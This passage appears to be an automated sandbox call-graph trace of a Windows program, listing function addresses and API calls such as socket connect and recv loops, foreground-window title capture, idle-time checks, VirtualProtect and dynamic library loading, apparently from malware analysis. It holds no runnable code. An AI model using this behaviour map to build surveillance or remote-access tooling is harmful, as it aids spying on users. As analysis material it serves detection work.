calls 2 library calls 53279->53316 53282 100069f3 40 API calls 53281->53282 53283 10006e3f 53282->53283 53284 10006e46 53283->53284 53286 10006e90 IsValidCodePage 53283->53286 53289 10006eb5 ___scrt_fastfail 53283->53289 53328 10002ada 53284->53328 53286->53284 53288 10006ea2 GetCPInfo 53286->53288 53287 10006cc1 53287->53232 53287->53235 53288->53284 53288->53289 53318 10006acb GetCPInfo 53289->53318 53291->53228 53292->53225 53293->53234 53294->53228 53295->53239 53296->53243 53297->53249 53298->53248 53299->53253 53300->53257 53303->53261 53304->53261 53305->53261 53307 100054c4 53306->53307 53313 100054ba 53306->53313 53308 10005af6 _abort 38 API calls 53307->53308 53307->53313 53309 100054e5 53308->53309 53314 10007a00 38 API calls __fassign 53309->53314 53311 100054fe 53315 10007a2d 38 API calls __fassign 53311->53315 53313->53270 53313->53271 53314->53311 53315->53313 53316->53279 53317->53278 53323 10006b05 53318->53323 53327 10006baf 53318->53327 53320 10002ada _ValidateLocalCookies 5 API calls 53322 10006c5b 53320->53322 53322->53284 53335 100086e4 53323->53335 53326 10008a3e 43 API calls 53326->53327 53327->53320 53329 10002ae3 53328->53329 53330 10002ae5 IsProcessorFeaturePresent 53328->53330 53329->53287 53332 10002b58 53330->53332 53408 10002b1c SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 53332->53408 53334 10002c3b 53334->53287 53336 100054a7 __fassign 38 API calls 53335->53336 53337 10008704 MultiByteToWideChar 53336->53337 53339 10008742 53337->53339 53340 100087da 53337->53340 53342 100056d0 21 API calls 53339->53342 53345 10008763 ___scrt_fastfail 53339->53345 53341 10002ada _ValidateLocalCookies 5 API calls 53340->53341 53343 10006b66 53341->53343 53342->53345 53349 10008a3e 53343->53349 53344 100087d4 53354 10008801 20 API calls _free 53344->53354 53345->53344 53347 100087a8 MultiByteToWideChar 53345->53347 53347->53344 53348 100087c4 GetStringTypeW 53347->53348 53348->53344 53350 100054a7 __fassign 38 API calls 53349->53350 53351 10008a51 53350->53351 53355 10008821 53351->53355 53354->53340 53356 1000883c 53355->53356 53357 10008862 MultiByteToWideChar 53356->53357 53358 10008a16 53357->53358 53359 1000888c 53357->53359 53360 10002ada _ValidateLocalCookies 5 API calls 53358->53360 53362 100056d0 21 API calls 53359->53362 53365 100088ad 53359->53365 53361 10006b87 53360->53361 53361->53326 53362->53365 53363 100088f6 MultiByteToWideChar 53364 10008962 53363->53364 53366 1000890f 53363->53366 53391 10008801 20 API calls _free 53364->53391 53365->53363 53365->53364 53382 10005f19 53366->53382 53370 10008971 53372 100056d0 21 API calls 53370->53372 53375 10008992 53370->53375 53371 10008939 53371->53364 53373 10005f19 11 API calls 53371->53373 53372->53375 53373->53364 53374 10008a07 53390 10008801 20 API calls _free 53374->53390 53375->53374 53376 10005f19 11 API calls 53375->53376 53378 100089e6 53376->53378 53378->53374 53379 100089f5 WideCharToMultiByte 53378->53379 53379->53374 53380 10008a35 53379->53380 53392 10008801 20 API calls _free 53380->53392 53393 10005c45 53382->53393 53386 10005f89 LCMapStringW 53387 10005f49 53386->53387 53388 10002ada _ValidateLocalCookies 5 API calls 53387->53388 53389 10005f9b 53388->53389 53389->53364 53389->53370 53389->53371 53390->53364 53391->53358 53392->53364 53394 10005c71 53393->53394 53395 10005c75 53393->53395 53394->53395 53397 10005c95 53394->53397 53401 10005ce1 53394->53401 53395->53387 53400 10005fa1 10 API calls 2 library calls 53395->53400 53397->53395 53398 10005ca1 GetProcAddress 53397->53398 53399 10005cb1 __crt_fast_encode_pointer 53398->53399 53399->53395 53400->53386 53402 10005d02 LoadLibraryExW 53401->53402 53403 10005cf7 53401->53403 53404 10005d37 53402->53404 53405 10005d1f GetLastError 53402->53405 53403->53394 53404->53403 53407 10005d4e FreeLibrary 53404->53407 53405->53404 53406 10005d2a LoadLibraryExW 53405->53406 53406->53404 53407->53403 53408->53334 53409 434906 53414 434bd8 SetUnhandledExceptionFilter 53409->53414 53411 43490b pre_c_initialization 53415 4455cc 20 API calls 2 library calls 53411->53415 53413 434916 53414->53411 53415->53413 53416 1000c7a7 53417 1000c7be 53416->53417 53422 1000c82c 53416->53422 53417->53422 53428 1000c7e6 GetModuleHandleA 53417->53428 53418 1000c872 53419 1000c835 GetModuleHandleA 53423 1000c83f 53419->53423 53422->53418 53422->53419 53422->53423 53423->53422 53424 1000c85f GetProcAddress 53423->53424 53424->53422 53429 1000c7ef 53428->53429 53436 1000c82c 53428->53436 53440 1000c803 GetProcAddress 53429->53440 53431 1000c872 53432 1000c835 GetModuleHandleA 53438 1000c83f 53432->53438 53436->53431 53436->53432 53436->53438 53438->53436 53439 1000c85f GetProcAddress 53438->53439 53439->53436 53441 1000c82c 53440->53441 53442 1000c80d VirtualProtect 53440->53442 53444 1000c872 53441->53444 53445 1000c835 GetModuleHandleA 53441->53445 53442->53441 53443 1000c81c VirtualProtect 53442->53443 53443->53441 53447 1000c83f 53445->53447 53446 1000c85f GetProcAddress 53446->53447 53447->53441 53447->53446 53448 41e04e 53449 41e063 ctype ___scrt_fastfail 53448->53449 53450 41e266 53449->53450 53451 432f55 21 API calls 53449->53451 53456 41e21a 53450->53456 53462 41dbf3 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection ___scrt_fastfail 53450->53462 53455 41e213 ___scrt_fastfail 53451->53455 53453 41e277 53453->53456 53463 432f55 53453->53463 53455->53456 53457 432f55 21 API calls 53455->53457 53460 41e240 ___scrt_fastfail 53457->53460 53458 41e2b0 ___scrt_fastfail 53458->53456 53468 4335db 53458->53468 53460->53456 53461 432f55 21 API calls 53460->53461 53461->53450 53462->53453 53464 432f63 53463->53464 53465 432f5f 53463->53465 53466 43bda0 new 21 API calls 53464->53466 53465->53458 53467 432f68 53466->53467 53467->53458 53471 4334fa 53468->53471 53470 4335e3 53470->53456 53472 433513 53471->53472 53476 433509 53471->53476 53473 432f55 21 API calls 53472->53473 53472->53476 53474 433534 53473->53474 53474->53476 53477 4338c8 CryptAcquireContextA 53474->53477 53476->53470 53478 4338e9 CryptGenRandom 53477->53478 53480 4338e4 53477->53480 53479 4338fe CryptReleaseContext 53478->53479 53478->53480 53479->53480 53480->53476 53481 426c6d 53487 426d42 recv 53481->53487 53488 429ab3 53493 429a36 53488->53493 53490 429ac7 _memcmp 53492 429afd 53490->53492 53501 429025 21 API calls ctype 53490->53501 53494 429a41 53493->53494 53500 429aa7 53493->53500 53494->53500 53502 429182 21 API calls ctype 53494->53502 53496 429a82 53496->53500 53503 4299c7 53496->53503 53500->53490 53501->53492 53502->53496 53504 4299ee 53503->53504 53505 4299f4 53504->53505 53510 429903 53504->53510 53509 429182 21 API calls ctype 53505->53509 53508 429903 22 API calls 53508->53505 53509->53500 53511 429928 ctype ___scrt_fastfail 53510->53511 53512 4299ac 53511->53512 53514 429799 53511->53514 53512->53508 53519 41b34b 53514->53519 53517 4297b6 53518 4297d3 53517->53518 53522 4282e5 53517->53522 53518->53512 53525 43ab1a 53519->53525 53564 442a80 53522->53564 53528 43aa9b 53525->53528 53527 41b352 53527->53517 53529 43aaaa 53528->53529 53530 43aabe 53528->53530 53541 44062d 20 API calls __dosmaperr 53529->53541 53533 43aaaf __alldvrm __wsopen_s 53530->53533 53534 4489d7 53530->53534 53533->53527 53542 44854a 53534->53542 53537 448a16 GetSystemTimeAsFileTime 53540 448a0a 53537->53540 53539 448a27 53539->53533 53549 43502b 53540->53549 53541->53533 53543 448576 53542->53543 53544 44857a 53542->53544 53543->53544 53546 44859a 53543->53546 53556 4485e6 53543->53556 53544->53537 53544->53540 53546->53544 53547 4485a6 GetProcAddress 53546->53547 53548 4485b6 __crt_fast_encode_pointer 53547->53548 53548->53544 53550 435036 IsProcessorFeaturePresent 53549->53550 53551 435034 53549->53551 53553 435078 53550->53553 53551->53539 53563 43503c SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 53553->53563 53555 43515b 53555->53539 53557 448607 LoadLibraryExW 53556->53557 53562 4485fc 53556->53562 53558 448624 GetLastError 53557->53558 53559 44863c 53557->53559 53558->53559 53560 44862f LoadLibraryExW 53558->53560 53561 448653 FreeLibrary 53559->53561 53559->53562 53560->53559 53561->53562 53562->53543 53563->53555 53569 442a42 21 API calls 3 library calls 53564->53569 53566 442a8b 53567 4282eb 53566->53567 53570 442851 20 API calls 3 library calls 53566->53570 53567->53518 53569->53566 53570->53567 53571 426a77 53572 426a8c 53571->53572 53584 426b1e 53571->53584 53573 426b83 53572->53573 53574 426bae 53572->53574 53577 426b0e 53572->53577 53581 426b4e 53572->53581 53583 426ad9 53572->53583 53572->53584 53585 426bd5 53572->53585 53599 424f6e 49 API calls ctype 53572->53599 53573->53574 53603 425781 21 API calls 53573->53603 53574->53584 53574->53585 53587 425b72 53574->53587 53577->53581 53577->53584 53601 424f6e 49 API calls ctype 53577->53601 53581->53573 53581->53584 53602 41fbfd 52 API calls 53581->53602 53583->53577 53583->53584 53600 41fbfd 52 API calls 53583->53600 53585->53584 53604 4261e6 28 API calls 53585->53604 53588 425b91 ___scrt_fastfail 53587->53588 53590 425ba0 53588->53590 53593 425bc5 53588->53593 53605 41ec4c 21 API calls 53588->53605 53590->53593 53598 425ba5 53590->53598 53606 420669 46 API calls 53590->53606 53593->53585 53594 425bae 53594->53593 53608 424d96 21 API calls 2 library calls 53594->53608 53596 425c48 53596->53593 53597 432f55 21 API calls 53596->53597 53597->53598 53598->53593 53598->53594 53607 41daf0 49 API calls 53598->53607 53599->53583 53600->53583 53601->53581 53602->53581 53603->53574 53604->53584 53605->53590 53606->53596 53607->53594 53608->53593 53609 4165db 53620 401e65 53609->53620 53611 4165eb 53612 4020f6 28 API calls 53611->53612 53613 4165f6 53612->53613 53614 401e65 22 API calls 53613->53614 53615 416601 53614->53615 53616 4020f6 28 API calls 53615->53616 53617 41660c 53616->53617 53625 412965 53617->53625 53621 401e6d 53620->53621 53622 401e75 53621->53622 53644 402158 22 API calls 53621->53644 53622->53611 53645 40482d 53625->53645 53627 412979 53652 4048c8 connect 53627->53652 53631 41299a 53717 402f10 53631->53717 53634 404aa1 61 API calls 53635 4129ae 53634->53635 53636 401fd8 11 API calls 53635->53636 53637 4129b6 53636->53637 53722 404c10 53637->53722 53640 401fd8 11 API calls 53641 4129cc 53640->53641 53642 401fd8 11 API calls 53641->53642 53643 4129d4 53642->53643 53646 404846 socket 53645->53646 53647 404839 53645->53647 53648 404860 CreateEventW 53646->53648 53649 404842 53646->53649 53740 40489e WSAStartup 53647->53740 53648->53627 53649->53627 53651 40483e 53651->53646 53651->53649 53653 404a1b 53652->53653 53654 4048ee 53652->53654 53655 40497e 53653->53655 53656 404a21 WSAGetLastError 53653->53656 53654->53655 53657 404923 53654->53657 53741 40531e 53654->53741 53712 402f31 53655->53712 53656->53655 53658 404a31 53656->53658 53776 420cf1 27 API calls 53657->53776 53660 404932 53658->53660 53661 404a36 53658->53661 53666 402093 28 API calls 53660->53666 53781 41cb72 53661->53781 53663 40490f 53746 402093 53663->53746 53665 40492b 53665->53660 53669 404941 53665->53669 53670 404a80 53666->53670 53676 404950 53669->53676 53677 404987 53669->53677 53673 402093 28 API calls 53670->53673 53678 404a8f 53673->53678 53680 402093 28 API calls 53676->53680 53778 421ad1 54 API calls 53677->53778 53681 41b580 80 API calls 53678->53681 53684 40495f 53680->53684 53681->53655 53687 402093 28 API calls 53684->53687 53685 40498f 53688 4049c4 53685->53688 53689 404994 53685->53689 53691 40496e 53687->53691 53780 420e97 28 API calls 53688->53780 53693 402093 28 API calls 53689->53693 53696 41b580 80 API calls 53691->53696 53695 4049a3 53693->53695 53698 402093 28 API calls 53695->53698 53699 404973 53696->53699 53697 4049cc 53700 4049f9 CreateEventW CreateEventW 53697->53700 53702 402093 28 API calls 53697->53702 53701 4049b2 53698->53701 53777 41e7a2 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 53699->53777 53700->53655 53703 41b580 80 API calls 53701->53703 53705 4049e2 53702->53705 53706 4049b7 53703->53706 53707 402093 28 API calls 53705->53707 53779 421143 52 API calls 53706->53779 53709 4049f1 53707->53709 53710 41b580 80 API calls 53709->53710 53711 4049f6 53710->53711 53711->53700 53713 4020df 11 API calls 53712->53713 53714 402f3d 53713->53714 53715 4032a0 28 API calls 53714->53715 53716 402f59 53715->53716 53716->53631 53843 401fb0 53717->53843 53719 402f1e 53720 402055 11 API calls 53719->53720 53721 402f2d 53720->53721 53721->53634 53723 4020df 11 API calls 53722->53723 53724 404c27 53723->53724 53725 4020df 11 API calls 53724->53725 53735 404c30 53725->53735 53726 43bda0 new 21 API calls 53726->53735 53728 4020b7 28 API calls 53728->53735 53729 404ca1 53873 404e26 WaitForSingleObject 53729->53873 53733 401fd8 11 API calls 53733->53735 53734 401fd8 11 API calls 53736 404cb1 53734->53736 53735->53726 53735->53728 53735->53729 53735->53733 53846 404b96 53735->53846 53852 401fe2 53735->53852 53861 404cc3 53735->53861 53737 401fd8 11 API calls 53736->53737 53738 404cba 53737->53738 53738->53640 53740->53651 53742 4020df 11 API calls 53741->53742 53743 40532a 53742->53743 53793 4032a0 53743->53793 53745 405346 53745->53663 53747 40209b 53746->53747 53748 4023ce 11 API calls 53747->53748 53749 4020a6 53748->53749 53797 4024ed 53749->53797 53752 41b580 53753 41b631 53752->53753 53754 41b596 GetLocalTime 53752->53754 53755 401fd8 11 API calls 53753->53755 53756 40531e 28 API calls 53754->53756 53757 41b639 53755->53757 53758 41b5d8 53756->53758 53759 401fd8 11 API calls 53757->53759 53801 406383 53758->53801 53762 41b641 53759->53762 53762->53657 53763 402f10 28 API calls 53764 41b5f0 53763->53764 53765 406383 28 API calls 53764->53765 53766 41b5fc 53765->53766 53806 40723b 77 API calls 53766->53806 53768 41b60a 53769 401fd8 11 API calls 53768->53769 53770 41b616 53769->53770 53771 401fd8 11 API calls 53770->53771 53772 41b61f 53771->53772 53773 401fd8 11 API calls 53772->53773 53774 41b628 53773->53774 53775 401fd8 11 API calls 53774->53775 53775->53753 53776->53665 53777->53655 53778->53685 53779->53699 53780->53697 53782 4020df 11 API calls 53781->53782 53783 41cb86 FormatMessageA 53782->53783 53784 41cbb2 53783->53784 53785 41cba4 53783->53785 53788 41cbbd LocalFree 53784->53788 53786 402093 28 API calls 53785->53786 53787 41cbb0 53786->53787 53790 401fd8 11 API calls 53787->53790 53789 402055 11 API calls 53788->53789 53789->53787 53791 404a40 53790->53791 53792 4052fd 28 API calls 53791->53792 53794 4032aa 53793->53794 53795 4028e8 28 API calls 53794->53795 53796 4032c9 53794->53796 53795->53796 53796->53745 53798 4024f9 53797->53798 53799 40250a 28 API calls 53798->53799 53800 4020b1 53799->53800 53800->53752 53807 4051ef 53801->53807 53803 406391 53811 402055 53803->53811 53806->53768 53808 4051fb 53807->53808 53817 405274 53808->53817 53810 405208 53810->53803 53812 402061 53811->53812 53813 4023ce 11 API calls 53812->53813 53814 40207b 53813->53814 53839 40267a 53814->53839 53818 405282 53817->53818 53819 405288 53818->53819 53820 40529e 53818->53820 53828 4025f0 53819->53828 53822 4052f5 53820->53822 53823 4052b6 53820->53823 53837 4028a4 22 API calls 53822->53837 53826 4028e8 28 API calls 53823->53826 53827 40529c 53823->53827 53826->53827 53827->53810 53829 402888 22 API calls 53828->53829 53830 402602 53829->53830 53831 402672 53830->53831 53832 402629 53830->53832 53838 4028a4 22 API calls 53831->53838 53834 4028e8 28 API calls 53832->53834 53836 40263b 53832->53836 53834->53836 53836->53827 53840 40268b 53839->53840 53841 4023ce 11 API calls 53840->53841 53842 40208d 53841->53842 53842->53763 53844 4025f0 28 API calls 53843->53844 53845 401fbd 53844->53845 53845->53719 53847 404ba0 WaitForSingleObject 53846->53847 53848 404bcd recv 53846->53848 53886 421107 54 API calls 53847->53886 53850 404be0 53848->53850 53850->53735 53851 404bbc SetEvent 53851->53850 53853 401ff1 53852->53853 53860 402039 53852->53860 53854 4023ce 11 API calls 53853->53854 53855 401ffa 53854->53855 53856 40203c 53855->53856 53858 402015 53855->53858 53857 40267a 11 API calls 53856->53857 53857->53860 53887 403098 28 API calls 53858->53887 53860->53735 53862 4020df 11 API calls 53861->53862 53872 404cde 53862->53872 53863 404e13 53864 401fd8 11 API calls 53863->53864 53865 404e1c 53864->53865 53865->53735 53866 4041a2 28 API calls 53866->53872 53867 401fe2 28 API calls 53867->53872 53868 401fd8 11 API calls 53868->53872 53870 4020f6 28 API calls 53870->53872 53872->53863 53872->53866 53872->53867 53872->53868 53872->53870 53888 401fc0 53872->53888 53874 404e40 SetEvent CloseHandle 53873->53874 53875 404e57 closesocket 53873->53875 53876 404ca8 53874->53876 53877 404e64 53875->53877 53876->53734 53878 404e7a 53877->53878 54187 4050e4 84 API calls 53877->54187 53879 404e8c WaitForSingleObject 53878->53879 53880 404ece SetEvent CloseHandle 53878->53880 54188 41e7a2 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 53879->54188 53880->53876 53883 404e9b SetEvent WaitForSingleObject 54189 41e7a2 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 53883->54189 53885 404eb3 SetEvent CloseHandle CloseHandle 53885->53880 53886->53851 53887->53860 53889 401fd2 CreateEventA CreateThread WaitForSingleObject CloseHandle 53888->53889 53890 401fc9 53888->53890 53889->53872 53893 415b25 53889->53893 53892 4025e0 28 API calls 53890->53892 53892->53889 53894 4020f6 28 API calls 53893->53894 53895 415b47 SetEvent 53894->53895 53896 415b5c 53895->53896 53972 4041a2 53896->53972 53899 4020f6 28 API calls 53900 415b86 53899->53900 53901 4020f6 28 API calls 53900->53901 53902 415b98 53901->53902 53975 41beac 53902->53975 53905 401e8d 11 API calls 53908 4170cd 53905->53908 53906 415bc1 GetTickCount 53997 41bc1f 53906->53997 53907 415d20 53970 415d11 53907->53970 53971 415d34 53907->53971 53911 401fd8 11 API calls 53908->53911 53914 4170d9 53911->53914 53916 401fd8 11 API calls 53914->53916 53915 415bde 53918 41bc1f 28 API calls 53915->53918 53917 4170e5 53916->53917 53919 415be9 53918->53919 54003 41bb27 53919->54003 53924 401e65 22 API calls 53925 415c13 53924->53925 53926 402f31 28 API calls 53925->53926 53927 415c21 53926->53927 54012 402ea1 28 API calls 53927->54012 53929 415c30 53930 402f10 28 API calls 53929->53930 53931 415c3f 53930->53931 54013 402ea1 28 API calls 53931->54013 53933 415c4e 53934 402f10 28 API calls 53933->53934 53935 415c5a 53934->53935 54014 402ea1 28 API calls 53935->54014 53937 415c64 53938 404aa1 61 API calls 53937->53938 53939 415c73 53938->53939 53940 401fd8 11 API calls 53939->53940 53941 415c7c 53940->53941 53942 401fd8 11 API calls 53941->53942 53943 415c88 53942->53943 53944 401fd8 11 API calls 53943->53944 53945 415c94 53944->53945 53946 401fd8 11 API calls 53945->53946 53947 415ca0 53946->53947 53948 401fd8 11 API calls 53947->53948 53949 415cac 53948->53949 53950 401fd8 11 API calls 53949->53950 53951 415cb8 53950->53951 54015 401f09 53951->54015 53954 401fd8 11 API calls 53955 415cca 53954->53955 53956 401fd8 11 API calls 53955->53956 53957 415cd3 53956->53957 53958 401e65 22 API calls 53957->53958 53959 415cde 53958->53959 54018 43bb2c 53959->54018 53962 415cf0 53965 415d09 53962->53965 53966 415cfe 53962->53966 53963 415d16 53964 401e65 22 API calls 53963->53964 53964->53907 54023 404f51 53965->54023 54022 404ff4 82 API calls 53966->54022 53969 415d04 53969->53970 53970->53905 54038 4050e4 84 API calls 53971->54038 54039 40423a 53972->54039 53976 4020df 11 API calls 53975->53976 53996 41bebf 53976->53996 53977 41bf2f 53978 401fd8 11 API calls 53977->53978 53979 41bf61 53978->53979 53980 401fd8 11 API calls 53979->53980 53982 41bf69 53980->53982 53981 41bf31 53983 4041a2 28 API calls 53981->53983 53985 401fd8 11 API calls 53982->53985 53986 41bf3d 53983->53986 53984 4041a2 28 API calls 53984->53996 53987 415ba1 53985->53987 53988 401fe2 28 API calls 53986->53988 53987->53906 53987->53907 53987->53970 53990 41bf46 53988->53990 53989 401fe2 28 API calls 53989->53996 53991 401fd8 11 API calls 53990->53991 53993 41bf4e 53991->53993 53992 401fd8 11 API calls 53992->53996 54046 41cec5 28 API calls 53993->54046 53996->53977 53996->53981 53996->53984 53996->53989 53996->53992 54045 41cec5 28 API calls 53996->54045 54047 441ed1 53997->54047 54000 402093 28 API calls 54001 415bd2 54000->54001 54002 41bb77 GetLastInputInfo GetTickCount 54001->54002 54002->53915 54056 436f10 54003->54056 54008 41bdaf 54009 41bdbc 54008->54009 54010 4020b7 28 API calls 54009->54010 54011 415c05 54010->54011 54011->53924 54012->53929 54013->53933 54014->53937 54016 402252 11 API calls 54015->54016 54017 401f12 54016->54017 54017->53954 54019 43bb45 _strftime 54018->54019 54105 43ae83 54019->54105 54021 415ceb 54021->53962 54021->53963 54022->53969 54024 404f65 54023->54024 54025 404fea 54023->54025 54026 404f6e 54024->54026 54027 404fc0 CreateEventA CreateThread 54024->54027 54028 404f7d GetLocalTime 54024->54028 54025->53970 54026->54027 54027->54025 54183 405150 54027->54183 54029 41bc1f 28 API calls 54028->54029 54030 404f91 54029->54030 54182 4052fd 28 API calls 54030->54182 54038->53969 54040 404243 54039->54040 54041 4023ce 11 API calls 54040->54041 54042 40424e 54041->54042 54043 402569 28 API calls 54042->54043 54044 4041b5 54043->54044 54044->53899 54045->53996 54046->53977 54048 441edd 54047->54048 54051 441ccd 54048->54051 54050 41bc43 54050->54000 54052 441ce4 54051->54052 54054 441d1b __wsopen_s 54052->54054 54055 44062d 20 API calls __dosmaperr 54052->54055 54054->54050 54055->54054 54057 41bb46 GetForegroundWindow GetWindowTextW 54056->54057 54058 40417e 54057->54058 54059 404186 54058->54059 54064 402252 54059->54064 54061 404191 54068 4041bc 54061->54068 54065 40225c 54064->54065 54066 4022ac 54064->54066 54065->54066 54072 402779 11 API calls std::_Deallocate 54065->54072 54066->54061 54069 4041c8 54068->54069 54073 4041d9 54069->54073 54071 40419c 54071->54008 54072->54066 54074 4041e9 54073->54074 54075 404206 54074->54075 54076 4041ef 54074->54076 54090 4027e6 54075->54090 54080 404267 54076->54080 54079 404204 54079->54071 54081 402888 22 API calls 54080->54081 54082 40427b 54081->54082 54083 404290 54082->54083 54084 4042a5 54082->54084 54101 4042df 22 API calls 54083->54101 54085 4027e6 28 API calls 54084->54085 54089 4042a3 54085->54089 54087 404299 54102 402c48 22 API calls 54087->54102 54089->54079 54091 4027ef 54090->54091 54092 402851 54091->54092 54093 4027f9 54091->54093 54104 4028a4 22 API calls 54092->54104 54096 402802 54093->54096 54097 402815 54093->54097 54103 402aea 28 API calls __EH_prolog 54096->54103 54099 402813 54097->54099 54100 402252 11 API calls 54097->54100 54099->54079 54100->54099 54101->54087 54102->54089 54103->54099 54121 43ba8a 54105->54121 54107 43aed0 54127 43a837 54107->54127 54108 43ae95 54108->54107 54109 43aeaa 54108->54109 54120 43aeaf __wsopen_s 54108->54120 54126 44062d 20 API calls __dosmaperr 54109->54126 54113 43aedc 54114 43af0b 54113->54114 54135 43bacf 40 API calls __Toupper 54113->54135 54117 43af77 54114->54117 54136 43ba36 20 API calls 2 library calls 54114->54136 54137 43ba36 20 API calls 2 library calls 54117->54137 54118 43b03e _strftime 54118->54120 54138 44062d 20 API calls __dosmaperr 54118->54138 54120->54021 54122 43baa2 54121->54122 54123 43ba8f 54121->54123 54122->54108 54139 44062d 20 API calls __dosmaperr 54123->54139 54125 43ba94 __wsopen_s 54125->54108 54126->54120 54128 43a854 54127->54128 54129 43a84a 54127->54129 54128->54129 54140 448295 GetLastError 54128->54140 54129->54113 54131 43a875 54160 4483e4 36 API calls __Getctype 54131->54160 54133 43a88e 54161 448411 36 API calls _strftime 54133->54161 54135->54113 54136->54117 54137->54118 54138->54120 54139->54125 54141 4482b1 54140->54141 54142 4482ab 54140->54142 54146 448300 SetLastError 54141->54146 54163 445b74 54141->54163 54162 44883c 11 API calls 2 library calls 54142->54162 54146->54131 54147 4482cb 54170 446802 54147->54170 54149 4482e0 54149->54147 54152 4482e7 54149->54152 54151 4482d1 54153 44830c SetLastError 54151->54153 54177 448107 20 API calls __dosmaperr 54152->54177 54178 446175 36 API calls 4 library calls 54153->54178 54155 4482f2 54157 446802 _free 20 API calls 54155->54157 54159 4482f9 54157->54159 54158 448318 54159->54146 54159->54153 54160->54133 54161->54129 54162->54141 54164 445b81 ___crtLCMapStringA 54163->54164 54165 445bc1 54164->54165 54166 445bac RtlAllocateHeap 54164->54166 54179 443001 7 API calls 2 library calls 54164->54179 54180 44062d 20 API calls __dosmaperr 54165->54180 54166->54164 54168 445bbf 54166->54168 54168->54147 54176 448892 11 API calls 2 library calls 54168->54176 54171 44680d HeapFree 54170->54171 54172 446836 __dosmaperr 54170->54172 54171->54172 54173 446822 54171->54173 54172->54151 54181 44062d 20 API calls __dosmaperr 54173->54181 54175 446828 GetLastError 54175->54172 54176->54149 54177->54155 54178->54158 54179->54164 54180->54168 54181->54175 54186 40515c 102 API calls 54183->54186 54185 405159 54186->54185 54187->53878 54188->53883 54189->53885 54190 44839e 54198 448790 54190->54198 54193 4483b2 54196 4483c7 54199 44854a __dosmaperr 5 API calls 54198->54199 54200 4487b7 54199->54200 54201 4487cf TlsAlloc 54200->54201 54202 4487c0 54200->54202 54201->54202 54203 43502b __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 54202->54203 54204 4483a8 54203->54204 54204->54193 54205 448319 GetLastError 54204->54205 54206 448332 54205->54206 54207 448338 54205->54207 54225 44883c 11 API calls 2 library calls 54206->54225 54209 445b74 __Getctype 17 API calls 54207->54209 54211 44838f SetLastError 54207->54211 54210 44834a 54209->54210 54214 448352 54210->54214 54226 448892 11 API calls 2 library calls 54210->54226 54213 448398 54211->54213 54213->54196 54224 4483ca 11 API calls 54213->54224 54216 446802 _free 17 API calls 54214->54216 54215 448367 54215->54214 54218 44836e 54215->54218 54217 448358 54216->54217 54219 448386 SetLastError 54217->54219 54227 448107 20 API calls __dosmaperr 54218->54227 54219->54213 54221 448379 54222 446802 _free 17 API calls 54221->54222 54223 44837f 54222->54223 54223->54211 54223->54219 54224->54193 54225->54207 54226->54215 54227->54221 54228 100020db 54231 100020e7 ___DestructExceptionObject 54228->54231 54229 100020f6 54230 10002110 dllmain_raw 54230->54229 54232 1000212a 54230->54232 54231->54229 54231->54230 54235 1000210b 54231->54235 54241 10001eec 54232->54241 54234 10002177 54234->54229 54236 10001eec 31 API calls 54234->54236 54235->54229 54235->54234 54238 10001eec 31 API calls 54235->54238 54237 1000218a 54236->54237 54237->54229 54239 10002193 dllmain_raw 54237->54239 54240 1000216d dllmain_raw 54238->54240 54239->54229 54240->54234 54242 10001ef7 54241->54242 54243 10001f2a dllmain_crt_process_detach 54241->54243 54244 10001f1c dllmain_crt_process_attach 54242->54244 54245 10001efc 54242->54245 54250 10001f06 54243->54250 54244->54250 54246 10001f01 54245->54246 54247 10001f12 54245->54247 54246->54250 54251 1000240b 27 API calls 54246->54251 54252 100023ec 29 API calls 54247->54252 54250->54235 54251->54250 54252->54250 54253 434918 54254 434924 ___scrt_is_nonwritable_in_current_image 54253->54254 54280 434627 54254->54280 54256 43492b 54258 434954 54256->54258 54586 434a8a IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_fastfail 54256->54586 54267 434993 ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 54258->54267 54291 4442d2 54258->54291 54262 434973 ___scrt_is_nonwritable_in_current_image 54263 4349f3 54299 434ba5 54263->54299 54267->54263 54587 443487 36 API calls 6 library calls 54267->54587 54281 434630 54280->54281 54592 434cb6 IsProcessorFeaturePresent 54281->54592 54283 43463c 54593 438fb1 54283->54593 54285 434641 54286 434645 54285->54286 54602 44415f 54285->54602 54286->54256 54289 43465c 54289->54256 54293 4442e9 54291->54293 54292 43502b __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 54294 43496d 54292->54294 54293->54292 54294->54262 54295 444276 54294->54295 54296 4442a5 54295->54296 54297 43502b __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 54296->54297 54298 4442ce 54297->54298 54298->54267 54300 436f10 ___scrt_fastfail 54299->54300 54301 434bb8 GetStartupInfoW 54300->54301 54302 4349f9 54301->54302 54303 444223 54302->54303 54652 44f0d9 54303->54652 54305 44422c 54307 434a02 54305->54307 54656 446895 36 API calls 54305->54656 54308 40ea00 54307->54308 54786 41cbe1 LoadLibraryA GetProcAddress 54308->54786 54310 40ea1c GetModuleFileNameW 54791 40f3fe 54310->54791 54312 40ea38 54313 4020f6 28 API calls 54312->54313 54314 40ea47 54313->54314 54315 4020f6 28 API calls 54314->54315 54316 40ea56 54315->54316 54317 41beac 28 API calls 54316->54317 54318 40ea5f 54317->54318 54806 40fb52 54318->54806 54320 40ea68 54321 401e8d 11 API calls 54320->54321 54322 40ea71 54321->54322 54323 40ea84 54322->54323 54324 40eace 54322->54324 55000 40fbee 118 API calls 54323->55000 54326 401e65 22 API calls 54324->54326 54328 40eade 54326->54328 54327 40ea96 54329 401e65 22 API calls 54327->54329 54331 401e65 22 API calls 54328->54331 54330 40eaa2 54329->54330 55001 410f72 36 API calls __EH_prolog 54330->55001 54332 40eafd 54331->54332 54333 40531e 28 API calls 54332->54333 54335 40eb0c 54333->54335 54337 406383 28 API calls 54335->54337 54336 40eab4 55002 40fb9f 78 API calls 54336->55002 54339 40eb18 54337->54339 54341 401fe2 28 API calls 54339->54341 54340 40eabd 55003 40f3eb 71 API calls 54340->55003 54343 40eb24 54341->54343 54344 401fd8 11 API calls 54343->54344 54345 40eb2d 54344->54345 54347 401fd8 11 API calls 54345->54347 54349 40eb36 54347->54349 54350 401e65 22 API calls 